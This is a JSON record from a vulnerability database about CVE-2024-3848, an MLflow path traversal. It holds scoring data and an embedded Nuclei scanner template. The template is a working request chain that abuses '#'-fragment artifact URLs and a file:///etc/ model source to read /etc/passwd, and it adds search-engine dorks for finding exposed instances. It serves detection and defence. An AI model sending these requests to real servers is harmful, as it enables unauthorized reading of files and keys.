{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-3848/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-3848/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-3848/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-3848/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-3848/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-3848/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2024-3848"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2024-3848"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.43284,"kev":false,"percentile":0.98727},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-3848.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-3848\n\ninfo:\n  name: Mlflow < 2.11.0 - Path Traversal\n  author: gy741\n  severity: high\n  description: |\n    A path traversal vulnerability exists in mlflow/mlflow version 2.11.0, identified as a bypass for the previously addressed CVE-2023-6909. The vulnerability arises from the application's handling of artifact URLs, where a '#' character can be used to insert a path into the fragment, effectively skipping validation. This allows an attacker to construct a URL that, when processed, ignores the protocol scheme and uses the provided path for filesystem access. As a result, an attacker can read arbitrary files, including sensitive information such as SSH and cloud keys, by exploiting the way the application converts the URL into a filesystem path. The issue stems from insufficient validation of the fragment portion of the URL, leading to arbitrary file read through path traversal.\n  impact: |\n    Successful exploitation could be lead to disclose of sensitive information such as SSH Keys or Internal configurations.\n  remediation: |\n    To fix this vulnerability, it is important to update the mlflow package to the latest version 2.12.1.\n  reference:\n    - https://huntr.com/bounties/8d5aadaa-522f-4839-b41b-d7da362dd610\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-3848\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2024-3848\n    cwe-id: CWE-29\n    epss-score: 0.43284\n    epss-percentile: 0.98731\n    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: lfprojects\n    product: mlflow\n    shodan-query: \"http.title:\\\"mlflow\\\"\"\n    fofa-query:\n      - title=\"mlflow\"\n      - app=\"mlflow\"\n    google-query: intitle:\"mlflow\"\n  tags: cve,cve2024,mlflow,lfi,intrusive,lfprojects,vuln,vkev\n\nvariables:\n  random: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\": \"{{randstr}}\", \"artifact_location\": \"http://host#/../../../../../../../../../../../../../../etc/\"}\n\n      - |\n        POST /api/2.0/mlflow/runs/create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"experiment_id\": \"{{EXPERIMENT_ID}}\"}\n\n      - |\n        POST /ajax-api/2.0/mlflow/upload-artifact?run_uuid={{RUN_ID}}&path=a?/a HTTP/1.1\n        Host: {{Hostname}}\n\n        {{random}}\n\n      - |\n        POST /ajax-api/2.0/mlflow/experiments/delete HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"experiment_id\": \"{{EXPERIMENT_ID}}\"}\n\n      - |\n        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\": \"{{randstr}}\"}\n\n      - |\n        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\": \"{{randstr}}\", \"run_id\": \"{{RUN_ID}}\", \"source\": \"file:///etc/\"}\n\n      - |\n        GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body_7\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: word\n        part: header_7\n        words:\n          - \"filename=passwd\"\n          - \"application/octet-stream\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: json\n        part: body_1\n        name: EXPERIMENT_ID\n        group: 1\n        json:\n          - '.experiment_id'\n        internal: true\n\n      - type: json\n        part: body_2\n        name: RUN_ID\n        group: 1\n        json:\n          - '.run.info.run_id'\n        internal: true\n# digest: 4a0a004730450220654692299de0a39df4cdd8309a3ecb1ba4781ddab9686f7c349ce666a7e40c8d022100967ca5bee51de526dd1ba7f27c857c665933d1059560e6303e19f082405b167d:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2024-3848"}